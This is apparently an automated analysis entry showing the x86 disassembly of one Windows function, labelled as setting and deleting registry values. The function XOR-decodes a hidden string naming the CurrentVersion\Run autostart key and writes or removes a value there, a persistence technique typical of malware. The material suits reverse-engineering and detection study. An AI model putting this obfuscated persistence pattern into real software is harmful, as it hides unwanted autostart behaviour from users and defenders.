Function at 0x464790
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4f4
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x4ec], 0x94
mov byte [ebp - 0x4eb], 0x88
mov byte [ebp - 0x4ea], 0x81
mov byte [ebp - 0x4e9], 0x93
mov byte [ebp - 0x4e8], 0x90
mov byte [ebp - 0x4e7], 0x86
mov byte [ebp - 0x4e6], 0x95
mov byte [ebp - 0x4e5], 0x82
mov byte [ebp - 0x4e4], 0x9b
mov byte [ebp - 0x4e3], 0x8a
mov byte [ebp - 0x4e2], 0xae
mov byte [ebp - 0x4e1], 0xa4
mov byte [ebp - 0x4e0], 0xb5
mov byte [ebp - 0x4df], 0xa8
mov byte [ebp - 0x4de], 0xb4
mov byte [ebp - 0x4dd], 0xa8
mov byte [ebp - 0x4dc], 0xa1
mov byte [ebp - 0x4db], 0xb3
mov byte [ebp - 0x4da], 0x9b
mov byte [ebp - 0x4d9], 0x90
mov byte [ebp - 0x4d8], 0xae
mov byte [ebp - 0x4d7], 0xa9
mov byte [ebp - 0x4d6], 0xa3
mov byte [ebp - 0x4d5], 0xa8
mov byte [ebp - 0x4d4], 0xb0
mov byte [ebp - 0x4d3], 0xb4
mov byte [ebp - 0x4d2], 0x9b
mov byte [ebp - 0x4d1], 0x84
mov byte [ebp - 0x4d0], 0xb2
mov byte [ebp - 0x4cf], 0xb5
mov byte [ebp - 0x4ce], 0xb5
mov byte [ebp - 0x4cd], 0xa2
mov byte [ebp - 0x4cc], 0xa9
mov byte [ebp - 0x4cb], 0xb3
mov byte [ebp - 0x4ca], 0x91
mov byte [ebp - 0x4c9], 0xa2
mov byte [ebp - 0x4c8], 0xb5
mov byte [ebp - 0x4c7], 0xb4
mov byte [ebp - 0x4c6], 0xae
mov byte [ebp - 0x4c5], 0xa8
mov byte [ebp - 0x4c4], 0xa9
mov byte [ebp - 0x4c3], 0x9b
mov byte [ebp - 0x4c2], 0x95
mov byte [ebp - 0x4c1], 0xb2
mov byte [ebp - 0x4c0], 0xa9
mov byte [ebp - 0x4bf], 0xc7
mov dword [ebp - 0x4f0], 0x258
lea eax, [ebp - 0x4f0]
push eax
lea ecx, [ebp - 0x4b8]
push ecx
push 1
lea edx, [ebp - 0x4ec]
push edx
call fcn.00461000
add esp, 8
push eax
call fcn.00460fa0
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x4649fc
push 0x4b1138
push 0x4b0f30
call fcn.00461550
add esp, 8
test eax, eax
jne 0x46493e
xor eax, eax
jmp 0x464a44
mov eax, dword [ebp + 0xc]
push eax
push 0x487164
push 0x4b1138
call fcn.004616b0
add esp, 0xc
mov ecx, dword [0x4b0d14]
and ecx, 8
jne 0x4649fa
lea edx, [ebp - 0x4bc]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x4b8]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4649f6
mov ecx, dword [ebp + 0xc]
push ecx
push 0x4b1138
push str.__s___s
lea edx, [ebp - 0x260]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x260]
push eax
call fcn.00406ed1
add esp, 4
shl eax, 1
push eax
lea ecx, [ebp - 0x260]
push ecx
push 1
push 0
push 0x487188
mov edx, dword [ebp - 0x4bc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x4bc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x4f4], 0
je 0x4649f4
xor eax, eax
jmp 0x464a44
jmp 0x4649fa
xor eax, eax
jmp 0x464a44
jmp 0x464a3f
lea ecx, [ebp - 0x4bc]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x4b8]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x464a3f
push 0x487198
mov eax, dword [ebp - 0x4bc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp - 0x4bc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret